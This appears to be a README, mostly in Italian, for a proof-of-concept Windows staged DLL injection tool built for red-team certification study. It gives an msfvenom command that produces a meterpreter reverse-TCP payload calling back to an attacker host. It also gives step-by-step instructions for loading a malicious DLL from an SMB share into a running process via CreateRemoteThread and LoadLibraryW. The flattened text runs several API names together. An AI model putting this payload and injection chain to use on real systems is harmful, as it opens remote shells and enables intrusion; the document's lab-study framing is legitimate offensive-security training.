Prova di concetto di iniezione DLL a stadi sviluppato in C utilizzando le API Win32 — sviluppato in un ambiente di laboratorio isolato per lo studio della certificazione red team (CRTO).
Prova di concetto di iniezione DLL a stadi sviluppata in C utilizzando API Win32 — realizzata in un ambiente di laboratorio isolato per lo studio della certificazione red team (CRTO).
⚠️ Avvertenza: Questo progetto è stato sviluppato rigorosamente in un ambiente di laboratorio isolato per scopi educativi come parte della ricerca sulla sicurezza offensiva e dello studio per la certificazione (CRTO). Non è inteso per l'uso contro qualsiasi sistema senza esplicita autorizzazione scritta. L'uso non autorizzato è illegale e non etico.
Una prova di concetto di iniezione DLL a stadi su Windows, realizzata come parte degli studi per la certificazione red team. Questo progetto dimostra come uno stager possa caricare da remoto una DLL malevola in un processo target utilizzando API Win32 native. Funziona al meglio in un ambiente AD che consente traffico SMB all'interno della rete interna; non è raccomandato per funzionare su Internet.
1. Build a shellcode with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<port> -f raw -o /directory/payload.bin
2. Obtain the raw shellcode and convert into a C array
xxd -i payload.bin > payload.h
3. Copy the shellcode, and paste it under unsigned char payload_bin[] {xxxxx} array in maindll.c
4. Modify the phc.c to point the address to your IP in dllPath[]
5. Compile phc.c into .exe, and compile maindll.c into .dll file
6. Host the smb server, and paste the maindll.dll
7. Set up Listener
8. Open Notepad.exe and find the PID
9. Run phc.exe <PID>
phc.c)OpenProcessVirtualAllocLoadLibraryW da Kernel32CreateRemoteThread che chiama LoadLibraryW, caricando la DLL da una condivisione SMB remotamaindll.dll)DllMain si attiva automaticamente su DLL_PROCESS_ATTACHVirtualAllocCreateThreadphc.exe → Opens target process → Allocates memory in target process → Loads maindll.dll from SMB share via LoadLibraryW → DllMain fires → Shellcode executed inside target process
CreateRemoteThread + LoadLibraryWDllMainTestato su Windows 10 in un ambiente di laboratorio isolato. Listener C2 ospitato su Kali Linux.